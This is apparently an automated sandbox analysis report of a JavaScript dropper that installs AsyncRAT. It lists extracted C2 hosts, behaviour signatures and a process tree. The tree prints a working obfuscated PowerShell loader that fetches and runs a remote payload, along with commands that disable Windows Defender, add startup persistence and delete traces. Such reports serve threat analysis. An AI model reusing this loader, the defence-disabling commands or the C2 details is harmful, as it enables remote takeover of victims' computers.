Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/06/2026, 08:53

General

  • Target
    V2221000552100021-211021.js
  • Size 41KB
  • Sample260602-ktb84ahs8z
  • SHA256 db6955e8a069e420a6a1ebc007eda6ec740479968195d79f4511e8eeb98873c6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.9 A

Botnet
  • STG

C2
  • xtadts.ddns.net:2055

  • afxwd.ddns.net:2055

Mutex
  • ORcoJrFrh0hf

Attributes
  • delay

    5

  • install

    false

  • install_file

    null

  • install_folder

    null

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

    Network activity triggered a Suricata alert

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 28 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\V2221000552100021-211021.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3796
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\ykqzy.js"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2x5Y3B' + '0' + 'LnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdmcnNiZi5' + '0' + 'eHQnKS' + 'A' + '7JHRtY2prID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JHRtY2prLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHRtY2prLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHRtY2prLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHRtY2prLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kdG1jamsuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyRmdHFmcC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JGZ' + '0' + 'cWZwID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJGZ' + '0' + 'cWZwLCdcJXglKycpKVsxXSkuVHJpbSgpOyRmdHFmcCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskdHdqd2ggKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbUV2TURnM' + '0' + '5XRTRMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ2Zyc2JmLnR4dCcnKS' + 'A' + '7JGx2a2RuID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckbHZrZG4gLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kbm53enogPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nJG5ud3p6ID' + '0' + 'gKCRsdmtkbi' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskdHdqd2ggKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJG5ud3p6ICk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdmenJxcl8wMS5wczEnICkgOyR' + '0' + 'd2p3aCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$mhjsf = $GGIvy ;$mhjsf = $mhjsf.replace('''',$OoOOF) ;$mhjsf = $mhjsf.replace('+ ',$OoOOF) ;$mhjsf = $mhjsf.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $mhjsf ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\ykqzy的这五js') ;$JWSrQ = 'C:\Users\Public\fjysh.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\fjysh.ps1
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\fzrqr_01.ps1
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5492
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
              6⤵
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /flushdns
                7⤵
                • Gathers network information
                PID:1492
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778707058.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4916
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3680
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:760
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5112
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b67.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:5452
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5940
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b8b.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:5836
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4292
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b67.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3936
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4300
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b8b.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2052
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4400
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\v2221000552100021-211021.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:1488
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:2544
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fjysh.ps1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3660
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5208
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\frsbf.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3724
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5396
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fzrqr_01.ps1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4076
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:2644
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lycpt.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4084
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1676
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ykqzy.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4040
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:384
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5480
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\ykqzy.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ykqzy.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:5224
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5884
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\ykqzy.js & del "1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2024
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n C:\Users\Public\ykqzy.js
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:5020
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c del "C:\Users\Public\ykqzy.js"
              6⤵
                PID:2872
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\npfye.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                PID:1864
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                PID:1224
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\psufa.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of WriteProcessMemory
                PID:5620
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
                  7⤵
                  • Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
                  • System Location Discovery: System Language Discovery
                  PID:4496
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\fdzwr.ps1"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3468
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3356
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    PID:3524
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5368
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c del "C:\Users\Public\ykqzy.js"
                6⤵
                  PID:1700

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            fdzwr.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\fdzwr.ps1
            • Size 320B
            • SHA256 bbf72e5c2d592f1e97e55e5f387a66945165703a76717984868a75aaef54d341
            • MD5 SHA1 SHA512 TLSH

            npfye.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\npfye.ps1
            • Size 418B
            • SHA256 ea96e90e5f0eabe5768737d63875a24a8a29bc551e1f687e0e087e4fe9677b33
            • MD5 SHA1 SHA512 TLSH

            psufa.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\psufa.ps1
            • Size 16.4MB
            • SHA256 df6e659b04ad96b5e61d38f821d09988af05c31697b6481dc71514e1c2755006
            • MD5 SHA1 SHA512 SSDEEP TLSH

            wnyif.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1
            • Size 423B
            • SHA256 1b573fc8263a9c8d8551a1d9b83283618f5dea53b1b7b07b15e4e7c1022fcdd7
            • MD5 SHA1 SHA512 TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
